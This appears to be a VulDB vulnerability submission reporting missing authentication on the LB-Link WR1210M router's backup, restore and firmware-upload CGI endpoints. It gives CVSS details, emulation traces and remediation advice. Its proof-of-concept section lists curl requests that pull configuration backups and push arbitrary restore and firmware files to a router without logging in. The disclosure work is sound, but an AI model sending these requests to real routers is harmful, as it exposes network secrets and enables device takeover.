제출 #894244: LB-Link WR1210M WR1210M_V3.0_28AC12_Open_V1.0.3_TFTP Missing authentication on sensitive CGI endpoints

LB-Link WR1210M firmware exposes unauthenticated CGI endpoints for configuration backup, configuration restore, and firmware upload

## 2. Vulnerability Summary

- **Internal Tracking ID:** LBLINK-WR1210M-UNAUTH-CGI-BACKUP-UPLOAD-001
- **Vulnerability Class:** CWE-306 / CWE-862 / CWE-200
- **Vulnerability Type:** Missing authentication on sensitive CGI endpoints
- **Severity:** 9.8 (Critical)
- **CVSS 3.1 Vector:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Attack Prerequisites:** Network reachability to the router web interface. No prior authentication, cookie, token, or Authorization header is required for the affected standalone CGI endpoints.
- **Verification Status:** CONFIRMED
- **Verification Evidence:** Static auth-path comparison plus QEMU/chroot direct-CGI execution. With an empty CGI environment (`env -i`) and no session/auth variables, multipart POST bodies were accepted and written to `/tmp/mybackup.tar.gz` and `/tmp/firmware.bin` by the original MIPS CGI binaries.

## 3. Affected Vendor / Product

- **Vendor:** LB-Link
- **Product / firmware image:** WR1210M / `WR1210M_V3.0_28AC12_Open_V1.0.3_TFTP.zip`
- **Firmware image path:** `/root/inout/firmware/images/lb-link/WR1210M_V3.0_28AC12_Open_V1.0.3_TFTP.zip`
- **SHA256:** `6a00c4f254605a7fa12918fe39dbcc05e2980370ee8c422904d42ed6fb381896`
- **Architecture:** MIPS little-endian
- **Affected components:**
- `/www/cgi-bin/backup.cgi`
- `/www/cgi-bin/recover.cgi`
- `/www/cgi-bin/upload.cgi`
- `/etc/lighttpd/lighttpd.conf` CGI exposure under `/cgi-bin`

## 4. Description

The firmware exposes multiple standalone MIPS CGI binaries under `/www/cgi-bin` for high-impact administrative operations. The JSON API handler `/www/cgi-bin/lighttpd.cgi` contains authentication-related symbols and strings such as `check_auth`, `AUTHORIZATION`, and `loginauth`. In contrast, the standalone backup, restore, and firmware upload CGI binaries do not contain these authentication checks or authorization header references.

The web UI directly submits sensitive operations to those standalone endpoints:

```text
www/js/index.js:3627 window.open("/cgi-bin/backup.cgi", "_self")
www/html/index.html:2603 action='/cgi-bin/upload.cgi'
www/html/index.html:2639 action='/cgi-bin/recover.cgi'
```

Because Lighttpd maps `/cgi-bin` directly to CGI execution and no per-endpoint authentication is enforced by these binaries, a network attacker can invoke the endpoints without a valid web session.

## 5. Technical Details

Authentication comparison from firmware strings:

```text
backup.cgi: check_auth=NO, system=yes, shellcmd=yes, auth strings=NO
recover.cgi: check_auth=NO, system=yes, shellcmd=yes, auth strings=NO
upload.cgi: check_auth=NO, shellcmd=yes, auth strings=NO
lighttpd.cgi: check_auth=yes, auth strings include AUTHORIZATION and loginauth
```

Relevant backend behavior observed in the original CGI binaries:

- `backup.cgi` executes the firmware backup path and emits a file-download response for `backup.tar.gz`.
- `recover.cgi` parses multipart form data and writes attacker-supplied content to `/tmp/mybackup.tar.gz` before attempting checksum/restore handling.
- `upload.cgi` parses multipart form data and writes attacker-supplied content to `/tmp/firmware.bin` before attempting checksum/upgrade handling.

The affected CGI binaries import or reference high-impact routines/commands such as `shellcmd`, `system`, `sysupgrade`, `md5sum`, `/proc/mtd`, `/dev/mtd`, and `/tmp/firmware.bin`.

## 6. Proof of Concept / Reproduction

From a host that can reach the router web interface:

```sh
# unauthenticated configuration backup
curl -i "http://<router-ip>/cgi-bin/backup.cgi" -o backup.tar.gz

# unauthenticated configuration restore upload
curl -i -X POST "http://<router-ip>/cgi-bin/recover.cgi" \
-F '[email protected];type=application/octet-stream'

# unauthenticated firmware upload path
curl -i -X POST "http://<router-ip>/cgi-bin/upload.cgi" \
-F '[email protected];type=application/octet-stream'
```

Expected behavior on vulnerable firmware:

- `backup.cgi` returns a `backup.tar.gz` download response.
- `recover.cgi` accepts multipart input and stores it as `/tmp/mybackup.tar.gz`.
- `upload.cgi` accepts multipart input and stores it as `/tmp/firmware.bin`.

## 7. Dynamic Verification

Dynamic verification was performed in the `firmrec-idirect` Docker container against a runtime copy of the extracted firmware rootfs:

```text
/root/RUN_2FW_LBLINK_MERCUSYS_0DAY_20260710/runtime/lb-rootfs
```

The CGI binaries were executed under QEMU MIPS little-endian with an empty CGI environment (`env -i`) and only the required CGI variables (`REQUEST_METHOD`, `CONTENT_LENGTH`, `CONTENT_TYPE`, `SCRIPT_NAME`, `QUERY_STRING`). No `Authorization`, `Cookie`, token, or session variable was provided.

`backup.cgi` no-auth evidence excerpt:

```text
Content-type: application/octet-stream
Content-Disposition: attachment; filename="backup.tar.gz"
```

`recover.cgi` no-auth multipart evidence excerpt:

```text
open("/tmp/mybackup.tar.gz", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
read(0, ..., 330) = 329
write(3, ..., 116) = 116
{"result":1}
-rw-r--r-- 1 root root 116 ... runtime/lb-rootfs/tmp/mybackup.tar.gz
```

`upload.cgi` no-auth multipart evidence excerpt:

```text
open("/tmp/firmware.bin", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
read(0, ..., 1231) = 1230
write(3, ..., 1009) = 1009
{"result":1}
-rw-r--r-- 1 root root 1009 ... runtime/lb-rootfs/tmp/firmware.bin
```

The `result:1` return in the lab is expected for synthetic invalid backup/firmware bodies and QEMU user-mode child `execve` limitations. The decisive security property is that the original unauthenticated CGI handlers accept attacker-controlled multipart content and reach the sensitive file-write/upgrade staging paths before any authentication check.

## 8. Security Impact

A remote unauthenticated attacker can access administrative maintenance operations normally expected to require an authenticated administrator session. Depending on device state and payload validity, this can lead to:

- disclosure of configuration backups, potentially including network and service secrets;
- unauthorized restoration of attacker-controlled configuration archives;
- unauthorized staging of firmware content for upgrade handling;
- denial of service or full device compromise if accepted restore/firmware payloads are processed by the underlying upgrade logic.

## 9. Remediation Recommendation

- Enforce centralized authentication and authorization before all administrative CGI handlers, including standalone backup/restore/upload binaries.
- Reject all backup, restore, and firmware upload requests that do not carry a valid administrator session token.
- Add CSRF protection to state-changing endpoints.
- Require signed firmware and signed/validated configuration archives before restore/upgrade.
- Avoid directly exposing maintenance CGI binaries under a public `/cgi-bin` path; route them through the authenticated controller.
- Log and rate-limit failed restore/upload attempts.

• 원천: ⚠️ https://github.com/dxz0069/WAVLINK-WN530H4-Command-Injection-in-set_add_routing/blob/main/LBLINK-WR1210M-UNAUTH-CGI-BACKUP-UPLOAD-001-vulndb.md
• 사용자: ST4R0003 (UID 99608)
• 제출: 2026. 07. 17. PM 07:11 (2 개월 ago)
• 모더레이션: 2026. 09. 20. PM 10:34 (2 months later)
• 상태: 중복
• VulDB 항목: 391148 [LB-Link WR1210M 1.0.3 Backup Endpoint /www/cgi-bin/backup.cgi main 약한 인증]
• 포인트들: 0